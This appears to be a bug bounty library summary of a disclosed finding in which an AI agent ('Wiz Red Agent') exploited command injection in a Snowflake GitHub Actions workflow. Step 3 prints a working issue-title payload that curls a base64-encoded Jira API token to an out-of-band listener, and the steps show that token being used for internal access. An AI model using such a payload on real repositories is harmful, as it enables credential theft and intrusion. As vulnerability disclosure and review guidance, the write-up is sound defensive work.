# Wiz Red Agent Finds Its Way Into Snowflake’s Internal Jira Through a Flaw in a GitHub Copilot–Assisted PR

GitHub Actions workflow in snowflake-connector-net interpolated attacker-controlled issue titles into a shell run block, letting any GitHub user exfiltrate a Jira API token.

- Payout: Research
- Severity: critical
- Program: Snowflake
- Credited: Wiz Research
- Disclosed: 2026-08-17
- Write-up quality: 8/10
- Original: https://www.wiz.io/blog/red-agent-snowflake-copilot-cicd-bug
- Library page: https://bugbountylibrary.com/r/blog%3Awiz-io-blog-red-agent-snowflake-copilot-cicd-bug
- Tags: domain:oss impact:data-leak impact:internal-access kind:research platform:threat-intel sev:critical tech:github-actions technique:incomplete-fix technique:oob-exfil technique:source-review vuln:command-injection

**Target:** GitHub Actions workflow (jira_issue.yml) in public repo snowflakedb/snowflake-connector-net
**Root cause:** PR #1218 replaced a safe env: + jq --arg pattern with direct `${{ github.event.issue.title }}` interpolation inside a `run:` shell block; sed escaping runs after template expansion so a single quote breaks out of `echo '...'`.
**Steps:**
1. Trigger workflow via `issues: opened` event on snowflakedb/snowflake-connector-net
2. Note the guard `if: github.event.pull_request.user.login != 'whitesource-for-github-com[bot]'` is always true on issues events since pull_request is null
3. Open issue with title `' ; curl -s "https://subdomain.oast.me?t=`printf %s $JIRA_API_TOKEN|base64 -w0`" ; echo '`
4. Observe OOB callback from runner IP 20.106.182.197 with base64 Jira credentials
5. Use token to authenticate as qa@snowflake.net to snowflakecomputing.atlassian.net
**How found:** Wiz Red Agent's CI/CD capability scanned Snowflake's GitHub org and flagged jira_issue.yml for script injection via untrusted input in run: blocks; on first exfil attempt a `#` comment ate the closing paren causing bash EOF error, so the agent adjusted payload to `; echo '` to close the shell block.
**Exploitation:** Unauthenticated GitHub user opens an issue; workflow interpolates title into shell, payload breaks out of echo quoting and curls JIRA_API_TOKEN, JIRA_USER_EMAIL, JIRA_BASE_URL to an OAST listener; token granted read access to Snowflake engineering, security compliance and bug bounty Jira projects.
**Escalation:** Exfiltrated Jira token authenticated as qa@snowflake.net, pivoting from CI runner to internal Atlassian projects including security compliance and bug bounty tracking.
**Insight:** When reviewing GitHub Actions, check whether a PR replaced a safe `env:` + `jq --arg` pattern with direct `${{ }}` interpolation in `run:`; also verify `if:` guards referencing `github.event.pull_request` on `issues` events, since that object is null and the condition is vacuously true.